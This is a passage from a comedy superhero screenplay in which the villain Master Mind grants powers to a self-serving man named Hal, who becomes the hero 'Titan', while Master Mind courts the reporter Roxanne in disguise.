MIND Anything, Stenwick? STENWICK (shaken) No. Ah...sir, I didn't know this was about spiders. I have a pretty severe case of arachnophobia. Master Mind thinks for a moment, then turns to Plato. MASTER MIND We're gonna need more venom. Plato throws another switch, this time DUMPING THOUSANDS OF SPIDERS on poor Stenwick. His SCREAMS begin to fade as he's engulfed with swarms of crawling arachnids. MASTER MIND (CONT'D) How `bout now, Stenwick? ....Stenwick? INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY Master Mind is pacing back and forth. The muted TV plays in the background. MASTER MIND This has proven to be a challenge. I just don't know what I want. What do I want? 35. He stares at Einstein, Da Vinci and Plato, but they offer no advice. MASTER MIND (CONT'D) I want a man of moral fiber with a strong sense of right and wrong. Someone who doesn't seek power - instead, they must have it thrust upon them and find, within themselves, the courage to rise to the occasion. Einstein lets out a short laugh, getting everyone's attention. EINSTEIN Yeah, well, it sounds like what you want is Uberman. Master Mind snaps the fingers of his non-metal hand. MASTER MIND That's it! Why make a copy when the real thing will do? The lackeys look at each other, they can't believe what they're hearing. EINSTEIN I was just kidding, sir. In case you forgot, you actually burned Uberman alive. MASTER MIND Then we'll make a new one. Plato, bring me the box! MINUTES LATER Master Mind and the lackeys stand in a circle around a small table. Plato places a STAINLESS STEEL CHEST in the tables center. As Master Mind opens it, he's immediately doused in WHITE GLOW emanating from inside. MASTER MIND Behold - Uberessence. The very thing that gave Uberman his superhuman powers. 36. EINSTEIN Where the hell did you get that? MASTER MIND Oh, I shot him with a power sucking gun and had this idea to use this to clone a whole army of evil Ubermen. I'm not sure why I never got around to following up with that. PLATO I believe he defeated you before you could, master. MASTER MIND ...Right. Man, he was good! DA VINCI You want another volunteer, sir? MASTER MIND Not another volunteer driven by the need for personal gain. Somebody else, somebody pure. Master Mind turns to see an INTERVIEW WITH HAL playing on the muted television. Underneath his face is a blue caption with white lettering that reads: "Hal Stewart - Metro City's Newest Hero?" NEWS REPORTER ...who risked his own life to save that of a young mother and her child. HAL Please, please, you're embarrassing me. I saw someone in need and I helped them. What more can we ask of ourselves. I ask you, what more? A smile creeps across the evil one's face. MASTER MIND (CONT'D) Somebody like him! EXT. CITY STREET - DAY Plato is sitting in the van, staring into a pair of binoculars as he speaks on a cellphone. 37. PLATO Yeah, sir. This guy is a real piece of work. He used to teach bowling at Kingpin's. INT. MASTER MIND'S HIDEOUT - DAY Master Mind is sitting with his feet up on a computer console as he speaks to Plato. MASTER MIND (into phone) A modest profession to brilliantly hide his true heroic nature. I love it. EXT. CITY STREET - DAY PLATO Then you are absolutely going to love this - We follow Plato's line of sight across the street where we see HAL PLAYING WITH A LARGE GROUP OF BLIND CHILDREN. PLATO - He volunteers at a school for the blind. INT. MASTER MIND'S HIDEOUT - DAY Intrigued, he suddenly sits up in his chair. MASTER MIND He volunteers. He doesn't ask for any reward for his deeds. The fates are shining down on me. This Mr. Stewart is truly an unselfish soul. EXT. BLIND SCHOOL - DAY From a distance, Hal seems to be consoling an upset child who's sitting on a rock. But up close... HAL You greedy little bastard. I already gave you a twenty. BLIND KID Hey, you want me to play along? Then pay up, bitch! 38. HAL Fine, but you better be convincing. He gives the kid a bill out of his wallet and looks over his shoulder to see a HOT TEACHER walking toward them. HAL Here she comes, go to work. Like a miniature Brando, the blind kid buries his face in his hands and begins to cry. BLIND KID (weeping) Why can't I see! Why God? Hal puts a warm consoling hand on the weeping boy's shoulder. HAL Hey, Peter. C'mon champ, let me look at you. The Hot Teacher stops and curiously watches from a distance. The boy looks up at Hal, tears running down his dark sunglasses - he should get an Oscar. HAL You know, in life we're all given no more than we can bear. This happened to you maybe because you were meant to rise above it - Maybe to be an inspiration to the other little Peteys out there. BLIND KID You really think so, Hal? HAL Hey, does it LOOK like I'm lying? Now c'mon, go feel your way to class before you get your little butt suspended. The boy stands up and is about to take off. HAL Petey, wait a minute. Hal uses his shirt sleeve to wipe the tears away from the boy's face before sending him on his way. 39. The Hot Teacher grabs her chest. Her heart is about to absolutely melt. HAL Don't run into anything! EXT. STREET - CONTINUOUS Plato lowers his binoculars. From his perspective, Hal should be next in line for popehood. PLATO I think I've seen enough, sir. This is your guy. MASTER MIND (O.S.) (over radio) Then return to base. We have much work to do. Plato starts up the van and pulls away. INT. BAR - DAY It's a busy night. A couple of trucker types are shooting pool as the bartender slings drinks. Hal is nursing a beer at the bar when he suddenly notices a very ATTRACTIVE WOMAN sitting next to him. As he goes to straighten his stool-posture, Hal suddenly catches himself on the bar's TELEVISION - it's a story about how he saved the woman and her baby at the construction site. He turns back to the Attractive Woman next to him, then back to the TV. A plan of attack is forming. HAL (obviously playing it up for the woman's benefit) Oh, there it is again. This is really getting embarrassing now. The woman looks up at the screen and gives Hal a double-take. ATTRACTIVE WOMAN Oh my God! It's you! You're the man who saved that woman and her baby the other day! It is you, isn't it? TRUCKER #1, getting a drink at the bar next to them, OVERHEARS. 40. Hal rolls his eyes and puts his hands up in the air. HAL (to Attractive Woman) Oh, crap. You got me. TRUCKER#1 taps Hal on the shoulder. TRUCKER#1 Let me tell you something. That was just about the bravest damn thing I've ever witnessed. (he turns to the rest of the bar) Hey, everybody! This guy's the hero from TV! The bar ERUPTS IN CHEERS. MOMENTS LATER Hal is riding on the shoulders of TRUCKER#2 and TRUCKER#3 as `I'm Holding Out For A Hero' plays on the jukebox. TRUCKER#1 suddenly puts his hands in the air. The room quickly goes silent. TRUCKER#1 I want to give you something. He reaches into his pocket and takes out a medal. He holds it up in the air for everyone to see. TRUCKER#1 (CONT'D) Lost my whole platoon. They were a lot a good boys, a lot of good boys. That was just the way things were in "The Grenada." I'd rather a real hero have this. Trucker#1 gives the medal to a speechless Hal. ATTRACTIVE WOMAN Hey, you're on TV again. The crowd looks up at the Television. TELEVISION - CONTINUOUS The anchor man, BRAD HELMS (early 40's, amazing mustache), suddenly has a memo passed to him. 41. BRAD HELMS This just in. Upon a second look at that tape from this morning, which we'll now replay for you, it appears it was not the heroic act it first seemed to be. The tape shows Hal running in slow motion. BRAD HELMS (O.S.) (CONT'D) With the tape slowed down you can actually see the man push the woman and her child out of the way in an effort to save his own life. The tape shows Hal, in a clear act of self-preservation, pushing the woman and child out of the way. CUT BACK TO: INT. BAR - CONTINUOUS In unison, everyone turns their heads back to Hal. HAL I guess that looks kinda bad. Trucker#1 snatches his medal back. EXT. NEARBY ROOF - NIGHT Master Mind, Da Vinci and Plato look down, spotting Hal cutting through a dark alley. DA VINCI There he is, boss. Da Vinci hands Master Mind a fantastic looking silver rifle. MASTER MIND Now, we're sure this won't kill him? PLATO Yes, sir. He'll just feel a slight electrical shock. MASTER MIND Good. Master Mind raises the rifle and aims it at Hal. 42. EXT. ALLEY - NIGHT Hal wipes the blood from his nose with his shirtsleeve. A LIGHTENING BOLT suddenly zaps Hal in the back. His teeth spark and arc electrons as his entire body shakes and shudders violently. He finally collapses, knocking over a row of garbage cans. EXT. NEARBY ROOF - NIGHT An angry Master Mind slaps Plato. MASTER MIND Slight electrical shock? EXT. ALLEY - NIGHT Hal lies flat on his back, his jacket smoldering. Dazed, he slowly rises to his feet and looks up at the sky. HAL God, I hate the weather in this city. Hal walks off into the night as he attempts to slap the emitting smoke from his jacket. EXT. NEARBY ROOF - NIGHT Master Mind turns to Da Vinci. MASTER MIND Follow him. INT. HAL'S APARTMENT - NIGHT It's a dirty, small studio. Laundry lies everywhere, dishes are piled in the sink and the litter box looks like a minefield. Hal comes staggering in. Through his POV we see the lights wobble and streak like a hallucination. He shakes his head trying to clear thing up, but it looks worse. Hal makes his way to the kitchen table and plops down on a chair. The room begins to swim. His CAT jumps on the table and sits down in front of him. 43. From Hal's POV the cat's face looks like we're seeing it through a kaleidoscope. Hal seems fascinated by it. CAT You don't look so good, man. HAL I don't feel good. I was struck by freaking lightening. Suddenly Hal realizes his cat's talking to him. HAL (CONT'D) AAAAAAHHHHH! You can talk? CAT No, you're just hallucinating. By the way, we're out of orange juice. HAL AAAAAAHHHHH! Hal jumps up, trips over a cardboard box and knocks himself out on the coffee table. INT. HAL'S APARTMENT - MORNING Hal lies in the same position we left him last night. He sits up and grabs his head. He looks like he has the worst hangover in the world. Finally, he remembers last night. He looks around, but not really sure what he's looking for. HAL Man... Shaking his head, he walks to the kitchen and opens the refrigerator. He pulls out an orange juice container and puts it to his mouth. It's empty. As if suddenly remembering something he looks from the carton to the cat, who is busy cleaning himself. He shakes the thought from his mind. BATHROOM Hal lifts the seat and unbuckles his pants. 44. HAL'S FACE He stares at the ceiling with half closed eyes. The inevitable sound of urine hitting water starts. A content look washes over his face. There is a distinct sound of porcelain CRACKING and SPLINTERING. The sound intensifies. Hal looks down to see his URINE STREAM SMASHING THE TOILET. HAL (CONT'D) Oh, God! He whips his stream away only to cut a LONG RIP IN THE WALL. HAL (CONT'D) Oh, God! He freaks out and begins to lose control of his flow as it destroys everything he accidently aims at; the bathroom mirror, a bottle of cheap cologne, the bathroom window. HAL (CONT'D) Oh, God! He aims back for the toilet, which is pretty much rubble now, to see the floor give way. Finally, the pee stops and he glances down the hole. He sees his downstairs NEIGHBOR sitting at his breakfast table. He has a fork halfway to his mouth as he stares at the smashed toilet on his pancakes. EXT. STREET - DAY Hal turns the corner to see his bus pulling away from the stop. HAL Wait! He starts running after it. ZOOM - HE TAKES OFF LIKE LIGHTENING. HAL (CONT'D) Whoa, whoa, whoa! Unable to stop, he SLAMS INTO THE BACK OF THE BUS and falls back to the ground. 45. As the bus continues on he sees an INDENTATION of his torso right below the rear window. Stunned, to say the least, he rises to his feet. HAL (CONT'D) Something's not right here. He slaps himself in the face as hard as he can. HAL (CONT'D) Wake up! Wake up, Hal! HONK! Hal spins around to see a car barreling toward him. He goes to jump out of the way - ZOOM - he FLIES TWO STORIES UP, nails a building and comes crashing back down to the sidewalk. Hal sits up, disheveled and scared. HAL (CONT'D) Okay, okay. Let's get it together, man. He closes his eyes in an attempt to will back his sanity. HAL (CONT'D) This is just some sort of...episode. It will pass, it will pass. He opens his eyes and looks down the street. A BEAUTIFUL NAKED WOMAN is coming toward him. HAL (CONT'D) Well, not too fast I hope. As she passes him and turns the corner out of his view he catches ANOTHER NAKED WOMAN - an old disgusting one. HAL (CONT'D) Yes, fast, fast! He turns away from her in horror only to see AN ENTIRE BLOCK OF NAKED PEOPLE going about their business. He rubs his eyes and looks down the street again. Everyone has returned to a clothed state. 46. He relaxes a little until he looks down and notices that he's floating a foot off the ground. HAL (CONT'D) I think I need to go home. INT. HAL'S APARTMENT - DAY Hal's front door CREAKS as it slowly opens, revealing Master Mind. He walks over to the bathroom and smiles to himself as he notices the giant hole in the floor. MASTER MIND Welcome to your second birth, Hal Stewart. Master Mind continues to survey the room. He stops to look over a "KARATE KID" POSTER on Hal's living room wall. He focuses on the majestic image of Pat Morita teaching a young Ralph Macchio to kick. MASTER MIND (CONT'D) Instruction is very important in the formative years. Every hero needs a mentor, a father figure to look up to. He presses his special watch, causing his body to MORPH INTO THE SPITTING-IMAGE OF PAT MORITA. "PAT MORITA" Perfect. INT. HAL'S APARTMENT - DAY Hal enters, grabs a bottle of vodka from atop of the fridge and takes a long pull from it. VOICE (O.S.) A man will usually find that if he drinks from a bottle, eventually, the bottle drinks from him. Hal does a SPIT TAKE. In the corner a darkened figure stands. HAL Who are you!? 47. VOICE I am the guide on your journey. Fate has chosen you to be it's champion. Pat Morita steps out from the shadows. Hal passes out again. LATER We are close on Hal's face as his eyes flutter open. He appears to be lying on the couch. He hunches up on his elbows, looks around, but everything is as it seems. He lays his head back down. HAL Thank God. It was a dream. Man, I must be losing it. A voice sounds right next to his ear. "PAT MORITA" (O.S.) You know you're out of orange juice? Hal leaps up to find he's been resting his head on Pat's lap. HAL Jesus! This isn't happening, this isn't happening. Hal backs away and trips over a box. "PAT MORITA" Calm. All things must be filtered through calmness. HAL Bullshit! Sometimes it's best to freak out. "PAT MORITA" I think we must work on your attitude first. HAL Look I'm gonna call the cops in about two seconds if you don't get out of here. 48. Pat rises and walks to Hal. He's so calm it makes Hal calm. "PAT MORITA" Are you calm now? HAL Yeah, I'm okay. Pat slaps him across the face hard. "PAT MORITA" Good, because we've got a lot of work to do. Hal grabs his jaw. HAL What the hell was that for? "PAT MORITA" Rule number one: expect the unexpected. HAL Can you just tell me what this is all about? "PAT MORITA" The heavens are not in the habit of bestowing a gift such as this to just anyone. You are being rewarded for being a man of great moral fortitude with an unwavering belief in humanity. HAL That's me alright. "PAT MORITA" I am to train you so you may fulfill your destiny to defeat the great menace to Metro City: Master Mind. Pat gets up and walks toward the door. "PAT MORITA" (CONT'D) Come. HAL We're are we going? 49. "PAT MORITA" To train. EXT. PAT'S CAR - DAY Pat is sitting in the driver's seat. The car is bumping up and down. "PAT MORITA" Strength is just as much in the mind as it is the muscle. Remember, both need to be exercised. We PULL BACK to see Hal lifting the car up over his head. He's hardly straining. HAL I'M LIFTING A FREAKING CAR!!! Pat leans on the HORN. "PAT MORITA" Hey, Corky? You listening? Two highly attractive female joggers run by. They're clearly impressed with Hal's show of strength. He smiles and mouths a "hello." HAL Yeah, work both muscles. EXT. DESERT - DAY Pat cocks back the chamber of a .357 MAGNUM. He holds it up and carefully takes aim...at Hal's chest. "PAT MORITA" Trust me. HAL What are you doing!? "PAT MORITA" An invulnerability test. Something wrong? HAL Uh...yeah. I would prefer not to get shot. Do not fire that thing! Frustrated, Pat lowers the gun. 50. "PAT MORITA" You're bulletproof. HAL Okay, do you know that for sure? Pat quickly aims and fires. Hal lets out a high pitched scream as the bullet ricochets off his chest. "PAT MORITA" I do now. Hal looks down at his chest, not so much as a scratch. HAL You suck. EXT. SKY - DAY Hal is in the air flying in a sitting position. He's weaving back and forth. HAL Ice Man, I got a bogie on my tail. Two Russian Migs coming in hard and fast. "PAT MORITA" Hey! HAL What? Hal looks down to see Pat Morita yelling at him from the roof of a building down below. "PAT MORITA" What did I tell you? Stomach down, hands up. Hal sighs and assumes the proper superhero in-flight position. HAL God, I feel so gay. Pat's CELL PHONE begins to RING. He answers it. "PAT MORITA" (in Master Mind voice) What is it? 51. ROXANNE (V.O.) John? Pat panics. He looks up to make sure no one is in earshot. He sees Hal now doing somersaults in the air. HAL YEEEE HAWWWW! Pat turns his attention back to the phone, talking in his John Cusack voice. "PAT MORITA" (in Cusack voice) Yes, it's John Cusack. ROXANNE (V.O.) Hi, it's Roxanne. Listen, I...I really enjoyed talking with you the other day. "PAT MORITA" ...As did I. ROXANNE (V.O.) Great. God, I feel really silly, and if you have a lot going on I totally understand. But, I was wondering if you maybe wanted to have lunch. He can't believe what he's hearing. "PAT MORITA" (excited) I'd love to! He quickly recovers his composure. "PAT MORITA" (CONT'D) I mean, I AM a little hungry. ROXANNE (V.O.) Great. How does the park sound, around noon-ish? "PAT MORITA" Sure! ROXANNE (V.O.) Great, see you then. 52. Pat hangs up the phone and returns it to his pocket as Hal lands behind him. HAL WHOOOOA! Man, that is so cool. It's like fly - Oh my God, I almost said it was like flying. "PAT MORITA" For the rest of the day I want you to continue to practice your flying posture. HAL Why, where're ya going? "PAT MORITA" ...To do something...mysterious ...and Asian. HAL Say no more, bro. I'll just keep at it, then. EXT. PARK - DAY John Cusack and Roxanne eat WRAPPED SANDWICHES while walking through Metro City Park. ROXANNE How's your sandwich? "JOHN CUSACK" It's quite delicious. ROXANNE Hope you don't think I'm too forward. Some men are intimidated when a woman asks them out. I just find you really easy to talk to. "JOHN CUSACK" And I you. ROXANNE You know, you're not at all like you are in the movies. "JOHN CUSACK" I'm not? 53. ROXANNE Yeah. I don't know - You have this strange, refined way of speaking. "JOHN CUSACK" I do? That is most interesting. ROXANNE Anyway, when we were talking the other day I just felt, even though we only talked for a couple of hours, that we've known each other for years. "JOHN CUSACK" I know just what you mean. Roxanne bites into her sandwich. ROXANNE You know what? This sandwich is disgusting. She tosses it in a nearby garbage can. ROXANNE (CONT'D) Of course I already ate half of it. I wonder what that says about my character? "JOHN CUSACK" It means you don't give up on a sandwich. You see that it has potential, and you give it every chance to be all it can be. Roxanne smiles at his analogy. ROXANNE Thanks, but knowing me, I was probably projecting my expectations of what a lunch should be on the sandwich. It might have been okay at first, but I just made it bitter. John Cusack notices Roxanne's smile starting to fade. "JOHN CUSACK" Is that what happened with your last sandwich - I mean, boyfriend? 54. ROXANNE When I look back, I probably shouldn't of expected so much from him. He was already a giving person. You know, one of those go out and save the world types. "JOHN CUSACK" I've run into a few. ROXANNE I was selfish, I guess. I didn't want to share him with anybody else. "JOHN CUSACK" It sounds like he was a special man. ROXANNE They broke the mold. John Cusack arches his eyebrow in a very familiar manner. "JOHN CUSACK" Perhaps not. INT. ABANDONED WAREHOUSE - DAY Hal walks up to Pat Morita sporting a Lone Ranger-type mask and wearing a purple and red superhero costume. It's not unlike Uberman's except for a giant "T" on his chest. (From here on, Hal is referred to as TITAN) TITAN What's the "T" stand for? "PAT MORITA" Titan. TITAN What's that supposed to mean? "PAT MORITA" It's from Roman mythology. Zeus's father...oh, just go with it. You look perfect. TITAN I don't think this mask is big enough. Are you sure no one is gonna recognize me? 55. "PAT MORITA" It's fine, just don't slouch. It's all in the posture. He grabs Titan's shoulders like a proud papa. "PAT MORITA" (CONT'D) It is time. INT. BANK - DAY There is a long line of people snaked around the velvet ropes. They're all waiting for their chance at the one open teller window. Four men wearing BEATLES MASKS(JOHN,PAUL,GEORGE,AND RINGO)and CARRYING SHOTGUNS enter the bank. John fires a shot in the air, sending everyone into an immediate panic. JOHN Alright folks, this is a robbery. Nobody moves - yadda, yadda, yadda... Ringo jumps over the teller wall and starts stuffing bills into a bag. As John and Paul cover the crowd, George goes to the corner office and puts a gun to the BANK MANAGER'S head. GEORGE The safe. Let's go. BANK MANAGER Okay, just don't hurt anyone. GEORGE Yeah, yeah, yeah. George leads him out by the collar. CRASH - Titan smashes through the window and lands in a bold superhero stance with hands on hips. TITAN Well, boys, there's no need for all this just to get the free toaster. Paul cocks his gun. 56. PAUL What are you suppose to be? We move in for a nice dramatic close up. TITAN Justice. GEORGE Well, justice, suck on this... George, John and Paul open fire on Titan. He just stands there and yawns as the bullets bounce off him. With their guns empty the three just stare at him in amazement. TITAN Now it's my turn. He turns to George. TITAN (CONT'D) Hey, George, here comes the sun. Titan grabs George and throws him into a fluorescent light fixture in the ceiling. Paul tries to run for the door. Titan snatches the collar of his jacket. TITAN (CONT'D) Say, Paul, your mother should know...that you're a scumbag. He tosses Paul out the window and into a parked DELIVERY TRUCK. Titan turns around just as John hits him with the butt of his shotgun. It instantly breaks apart in his hands. Titan lifts him like a rag doll up into the air. TITAN (CONT'D) John, all you need is love... He throws John who lands on top of a cubical wall - GROIN FIRST. TITAN (CONT'D) ...and a good urologist. 57. Titan effortlessly hops over the teller wall to find Ringo cowering on the floor. He grabs him by the shirt and lifts him up. HAL Well, Ringo...um...um...you're under arrest. EXT. BANK - DAY Titan walks out of the bank with Ringo and George under his arm. He's suddenly swarmed by a group of television reporters, including Roxanne. Across the street is Pat Morita. He watches Titan's first news conference with great anxiety. BANK MANAGER (to Hal) On behalf of the First National Bank of Metro City, I'd like to offer you a reward for your act of bravery. He hands Titan a check. TITAN (reading) Ten thousand dollars! Titan looks over to Pat, who violently shakes his head no. TITAN (CONT'D) (unenthusiastically) I...can't except this. Law and order is it's own...um...reward. Pat gives him the thumbs up. Pat turns, suddenly seeing Roxanne with her camera crew. Captivated, his eyes lock on her. Meanwhile, Roxanne and her cameraman, SETH, are maneuvering around the crowd to get closer to Titan. BRAD HELMS (O.S.) Not so fast, Roxanne. They both turn to see Roxanne's reporter rival Brad Helms, Geraldo without the class, and his cameraman, FRANK. BRAD HELMS This story's mine. 58. ROXANNE Listen, Brad. We were just in the area. I was just trying to - BRAD HELMS I've been in this business long enough to know pretty well what you were "just trying to do." Besides, I heard you couldn't take the big game anymore and were put on fluff detail? Dejected, Roxanne turns and motions for Seth to turn the camera off. SETH You're not gonna take that from him, are you? ROXANNE He's right. Old habit, I guess. (to Brad) We'll get out of your way. As they walk off, Brad makes a comment to Frank loud enough for her to hear. BRAD HELMS Besides, I'm sure there's a pancake supper somewhere that needs covering. INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY ON TELEVISION We see the news conference on the bank's steps. In the corner of the screen is written: "recorded earlier." BRAD HELMS For months now, since the death of Uberman, the citizens of Metro City have been holding out for a hero. Well, it appears they won't have to hold out for much longer as a new costumed crusader has suddenly stormed onto the scene. Today, at the Metro Savings and Trust, a masked mystery man single-handedly defeated "The Fab Four Gang." Just who is this new caped avenger? Brad holds the microphone to Titan's face. 59. BRAD HELMS I'm sure all of our viewers are now wondering, what's the "T" stand for? TITAN It's a message to all the scum out there. Uberman may be gone, but Metro City has a new protector, and his name is "Tighten!" Another reporter leans in. REPORTER How do you spell that? We PULL BACK to see Plato and Da Vinci watching this spectacle. Master Mind is sitting with them, reading a NEWSPAPER. MASTER MIND (reading paper) Oh, for heaven's sake. I can't believe it. He misspelled his name. Master Mind holds up the newspaper. The headline reads "Metro's New Hero: Tighten." MASTER MIND (CONT'D) No matter, I suppose. Master Mind throws the paper on the floor and begins to pace around the room with his arms folded behind his back. MASTER MIND (CONT'D) We've now fully established Titan as Metro City's hero. They will love him just as they loved Uberman. Everything is going according to plan. Einstein leans over and whispers in Plato's ear. EINSTEIN (whispering) Yeah, if the plan is getting us in jail. Master Mind turns around, facing Einstein. He walks over, standing face to face with the rebellious henchmen. 60. MASTER MIND You know, Einstein, maybe I should have called you Socrates. He also didn't know when to keep his thoughts to himself. EINSTEIN I just fail to see the point in all of this. I mean, why are we creating another superhero when it was such a pain in the ass for you to get rid of the other one? I mean, Uberman is destroyed, we should be using this opportunity to...to... MASTER MIND To what? EINSTEIN I don't know. To take over the weather, space, the world - whatever super villains are SUPPOSED to do. MASTER MIND The reason someone like you will always be a minion is because you have no foresight. We take over the earth, like you said. Then what? Women? Cars? Money? Even the grandest treasures will lose their lustre if you don't have someone to hold them over. Einstein throws up his hands. He's had enough. He pulls off his wig and throws it to the floor. EINSTEIN That's it! This balance of the force bullshit is getting way too Oprah for me. I'm blowing. Who's with me? MASTER MIND You dare? EINSTEIN Yeah, I dare. I'm sick of wearing stupid costumes, and I'm sick of working for a super villain who's turning into a softie. 61. Plato and Da Vinci's mouths drop to the floor. They turn to Master Mind for his rebuttal. MASTER MIND What - did - you - call me? EINSTEIN You heard me. You used to be an inhuman monster, now look at you. You're creating super heroes, you don't go with us on robberies anymore, it's been days since you threatened anyone, oh, and not to mention this Roxanne Ritchi thing. MASTER MIND THAT is none of your business, knave! EINSTEIN Hey, you guys haven't sealed the deal yet, have you? MASTER MIND Silence! EINSTEIN (In a woman's voice) Oh, Master, your head is so big. MASTER MIND I'm warning you, Einstein. EINSTEIN (In a woman's voice) Take me! MASTER MIND I said silence! With his metal gauntlet Master Mind grabs Einstein by the throat and lifts him into the air. Einstein looks frightened as he tries to pry himself free of Master Mind's grip. Master Mind's eyes soften as if his heart is suddenly not into what he's about to do. He let's Einstein drop to the floor. MASTER MIND (CONT'D) Get out of my sight. 62. EXT. RESTAURANT - NIGHT Roxanne and John Cusack are eating on the outside patio of a fancy restaurant. ROXANNE Don't get me wrong, I love being a reporter. I don't think I could do anything else. It's the consequences of what we do that I'm having a problem with. He listens intently as he refills her glass with wine. "JOHN CUSACK" That's where journalistic responsibility comes in, no? ROXANNE It's supposed to. "JOHN CUSACK" Sounds to me like you're running from something. ROXANNE I got someone I cared about killed. If it wasn't for me, he wouldn't have been involved. John suddenly gets a disturbed look in his eye, realizing what she's talking about. He reaches across the table and takes her hand. "JOHN CUSACK" You can't blame yourself. My father used to say each of us must answer the great call to truly feel alive. ROXANNE Was he an actor? "JOHN CUSACK" ...No. He was...a landscaper. And a horrible one. I mean he would fail time and time again at his...landscaping. And sometimes he'd get pretty beaten up or thrown in jail - ROXANNE Jail? 63. "JOHN CUSACK" My point is he took the good with the bad. He grew a little each time. Improved, learned. ROXANNE Was he ever successful? "JOHN CUSACK" God, no...but don't let deter you. Roxanne LAUGHS. ROXANNE Thanks for this. You know, this is embarrassing, but it's been a long time since I - It's starting to lightly sprinkle. Roxanne looks up. ROXANNE (CONT'D) I think it's starting to rain. We might want to find a table inside. "JOHN CUSACK" What were you gonna say? ROXANNE Oh, I was gonna say...It's been a long time since...well, I've been with someone I...enjoy being with. John Cusack smiles warmly and raises his glass for a toast. "JOHN CUSACK" To people who enjoy being with each other. They go to clang glasses, when the rain suddenly causes John Cusack's disguise generator to short. His true form of Master Mind is briefly revealed to Roxanne as a BOLT OF ELECTRICITY encircles his body. Roxanne drops her glass and jumps out of her seat. MASTER MIND (CONT'D) Oh, no. Don't look at me. LIKE A BROKEN TV the image keeps switching between MASTER MIND AND JOHN CUSACK. 64. As Master Mind starts to franticly slap at his watch, the Cusack disguise begins to hold steady. He nonchalantly returns to cutting his steak. "JOHN CUSACK" Okay, never mind that. Now, where were we? Roxanne grabs his glass and throws the drink in his face, causing the generator to short out permanently. Master Mind now sits in his true blue form. ROXANNE Oh my God. MASTER MIND You're not gonna get all freaky about this, are you? ROXANNE This...this is too much, even for you. God, I go out with you, tell you my innermost thoughts. MASTER MIND I only did this because I wanted to talk to you on the same level. You know, without all the baggage? ROXANNE Baggage? You burned my boyfriend alive, you sick son-of-a-bitch! MASTER MIND You see, that's exactly what I'm talking about. Roxanne starts to walk away. MASTER MIND (CONT'D) Roxanne! ROXANNE Stay away from me. Master Mind sinks back down to his chair. Despite the now heavy rain bombarding him, he returns to his food. Several resturaunt patron's are looking at him through the window. 65. Our villain turns to them, giving them a villainous glare. MASTER MIND What? INT. MASTER MIND'S BEDROOM - NIGHT Master Mind is lying on his back, wide awake. MASTER MIND (mumbling to himself) Stupid. What was I thinking? Plato, it's his fault. He's the one who sent me on this weak-willed path. I'll filet his scrotum for this. Me, a creature of evil, in love with Roxanne Ritchi. Preposterous. I hardly give such matters thought He rolls onto his side. He yawns and closes his eyes. Suddenly, they shoot back open. CUT TO: EXT. ROXANNE'S APARTMENT - NIGHT Master Mind pulls up in a blue Rolls Royce, across the street from Roxanne's apartment He stares up at the building, hoping to catch a glimpse of her. Finally, she appears, primping her hair in her apartment window's reflection. MASTER MIND I should just go up there and just lay it all out to her. "Roxanne, I like you - I always have. Oh, and I'm sorry I blew up your ex. (realizing the absurdity of his words) Yeah, that would go over like a pants-less clown at a child's birthday party. What the hell am I even doing here? Who cares what she thinks? I'm a supervillain and here I am acting like a love struck schoolboy. Forget this. I control my own destiny! 66. He turns the ignition key - NOTHING HAPPENS. He repeats but gets the same results. MASTER MIND (CONT'D) (disgusted) Perfect. INT. ROXANNE'S APARTMENT - NIGHT She pulls a pack of smokes off her night stand. Empty. ROXANNE Damn. She grabs her long coat and throws it over her robe. EXT. ROXANNE'S APARTMENT BUILDING Roxanne steps outside. ROXANNE Please be open. Across the street is a liquor store. The light is still on. ROXANNE (CONT'D) Thank God. She walks across the street, passing in front of Master Mind's car. Spotting her, he sinks down in his seat. Roxanne walks by, totally unaware of his presence. Relieved, Master Mind sits back up and watches her go into the store. INT. LIQUOR STORE - NIGHT Roxanne walks up to an elderly Korean SHOPKEEPER at the counter. ROXANNE A pack of Lady Strikes, please. EXT. MASTER MIND'S CAR - NIGHT Master Mind is talking on his cell phone. MASTER MIND Hello, Triple A? 67. He suddenly spots something across the street. EXT. LIQUOR STORE - NIGHT A HOODLUM walks up to the entrance of the store and pulls out a gun from under his coat. EXT. MASTER MIND'S CAR - NIGHT Master Mind stares in shock. MASTER MIND I'll call you back. He hangs up the phone and watches the Hoodlum go inside the store. INT. LIQUOR STORE - NIGHT The Hoodlum reaches across the counter and grabs a fist full of cash from the register. SHOPKEEPER Hey! SHOTGUN HOODLUM Shut up, Gramps. He turns to Roxanne, spotting a GOLD NECKLACE around her neck. SHOTGUN HOODLUM (CONT'D) Gimme that necklace! ROXANNE I don't think so. The Hoodlum cocks his shotgun. SHOTGUN HOODLUM I said give it to me! MASTER MIND (O.S.) The lady said no. The hoodlum turns around to see Master Mind in the doorway holding a STRANGE-LOOKING HAND CANNON (GOO GUN) with knobs and blinking lights. The hoodlum starts to laugh. 68. SHOTGUN HOODLUM What the hell's that? A super soaker? MASTER MIND No, it's a goo gun. The hoodlum turns his gun to Master Mind. SHOTGUN HOODLUM Yeah, what's it do? MASTER MIND It goos. Master Mind fires the cannon. It instantly covers the store in a cloud of SMOKE. The smoke clears to reveal the hoodlum STUCK TO THE WALL, covered in a thick, GREEN GUNK. Roxanne stares at him, dumbfounded. MASTER MIND (CONT'D) It's...a prototype. Master Mind starts to walk out when he's suddenly confronted by the shopkeeper. SHOPKEEPER I know you! You Master Brain guy. You a hero. Master Mind points the goo gun at him. MASTER MIND Don't - EVER - say that again. EXT. LIQUOR STORE - NIGHT Master Mind walks out with the cannon resting on his shoulder like he's a short timer in Da Nang. Roxanne follows shortly behind him. ROXANNE Hey! Master Mind turns around. ROXANNE (CONT'D) Are you following me or something? 69. MASTER MIND Don't flatter yourself. He turns away and continues walking. Roxanne runs in front of him blocking his way. ROXANNE Don't walk away from me when I'm talking to you. Finally it occurs to her what's going on. ROXANNE (CONT'D) What a minute...all that stuff you use to say to me when Uberman was alive - about me being the loyal queen by your side as you rule over Metro City. That wasn't just super villain rhetoric, was it? You actually meant it! MASTER MIND My, someone has a rather high opinion of themselves. They stare at each other in silence, their glares locked in conflict. ROXANNE (coldly) Do you really think I would be with someone like you? This stings Master Mind to the bone. And after a brief contemplation, he reaches the only logical, painful conclusion. MASTER MIND No. With that, Master Mind exits into the night, leaving Roxanne with a baffled expression on her face. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind enters in a huff. Da Vinci closes the door behind him as Plato notices his master's agitated state. PLATO Everything alright, sir? Master Mind GRABS PLATO BY THE GROIN with his metal gauntlet causing Plato's eyes to bulge in pain. 70. MASTER MIND (overly calm) 